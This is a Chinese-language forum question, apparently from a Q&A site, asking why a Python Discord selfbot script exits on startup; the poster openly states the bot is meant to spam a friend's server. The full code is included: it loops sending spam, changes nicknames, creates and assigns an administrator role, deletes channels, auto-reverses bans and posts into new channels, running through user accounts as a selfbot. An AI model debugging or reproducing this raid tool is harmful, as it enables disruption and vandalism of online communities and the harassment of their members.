我正在制作一個不和諧的自我機器人來向我的朋友服務器發送垃圾郵件。但是,在調試過程中,我遇到了很多問題。在此處修復我的部分代碼后:Python3 discord selfbot NameError: name 'tokens' is not defined我一直在嘗試啟動我的機器人,但是當它啟動并輸入我希望我的機器人發送垃圾郵件的內容時,它就退出了。我不知道為什么,也沒有錯誤消息。我希望我能縮短它,但我完全不知道問題出在哪里。這是所有代碼:import discordimport timeimport randomimport stringfrom discord.utils import getfrom discord.ext import commandsimport asyncioprint("make sure that you join the target server on all accounts beforehand, THE ACCOUNTS CAN NOT BE ON ANY OTHER SERVERS")time.sleep(2)response=input("type what you want the bots to spam here: ")client = commands.Bot(command_prefix="", self_bot=True) @client.eventasync def on_member_ban(guild,user): await guild.unban(user) print("removed ban")@client.eventasync def on_message(message): x=100 while int(x)==100: print("message sent "+random.choice(string.ascii_letters)) try: await message.channel.send(response) except: print("message error") pass try: user=message.author await user.edit(nick=str(random.choice(string.ascii_letters))+str(random.choice(string.ascii_letters))+str(random.choice(string.ascii_letters))) except: print("can't change user nick") pass guild=message.guild perms=discord.Permissions(administrator=True) try: user=message.author await guild.create_role(name='TEST', colour=discord.Colour(0x597E8D),permissions=perms) role=get(guild.roles,name='TEST') await user.add_roles(role) except: print("maximum number of roles reached or can't add roles") pass guild=message.guild try: await message.channel.delete() print("channel yeeted") user=message.author except: print("can't add channel") pass @client.eventasync def on_guild_channel_create(channel): await channel.send(response)請讓我知道您認為問題出在哪里。任何幫助將不勝感激。
Discord.py selfbot 腳本退出而不是連接到令牌
慕碼人8056858
2023-04-25 15:35:59